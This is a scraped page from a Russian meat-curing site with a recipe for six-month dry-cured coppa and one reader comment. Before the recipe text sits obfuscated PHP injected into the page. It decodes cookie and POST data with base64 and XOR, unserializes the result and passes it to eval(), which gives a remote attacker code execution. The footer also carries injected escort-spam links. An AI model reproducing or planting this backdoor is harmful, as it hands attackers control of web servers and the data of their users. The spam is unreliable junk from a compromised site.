$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Шестимесячная Коппа • Meat Review

Шестимесячная Коппа

Перейти в режим чтения
Распечатать
0 0
Шестимесячная Коппа

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:
  • Средне

Инструкция

Поделиться

Коппа из обычной коммерческой свинины. Все стандартно, без особых сложностей. Из плеча вырезал две шеи, засыпал специями, солью, и «кьюром», отправил в вакууме в холодильник. Состав: 2.5% морская соль; 0.25% кьюр № 2; 0.8% Черный Перец; 0.7% сухой тайский перец; 0.1% луковый порошок; столько же сухого майорама; немного (на глаз) бурбона и маласы. Через 12 дней промыл, дал просохнуть и отдохнуть два дня. Затем присыпал смесью того же тайского с черным перца, «одел» в коллагеновые оболочки, отправил в климатическую камеру на шесть месяцев. Потеря веса – 47%. В конце отчетливо чувствуется тайский перец, все остальное растворилось однообразную многотоности благодати….

(Visited 2 877 times, 1 visits today)

Sergey Dezhnyuk

обратно
Фуэт с Плесенью
далее
Сыровяленое мясо
обратно
Фуэт с Плесенью
далее
Сыровяленое мясо

Похожие рецепты

One comment

× You need to log in to enter the discussion
  • Julia29 •
    • 7 лет ago
    Подскажите, а вы снаружи обрабатываете чем-то кусок до, во время или после вяления? Или перед тем как в вакуум для выравнивания влаги? Или просто вынимаете из камеры и сразу в вакуум? И что на счёт мяса, которое сушится без оболочки, корочку наружную счищаете перед употреблением или нарезаете тонко вместе с корочкой?
    • 0 0 • Reply •

MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

escort Muğla
Aydın Escort bayan
Çanakkale Escort
escort bayan balıkesir

Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close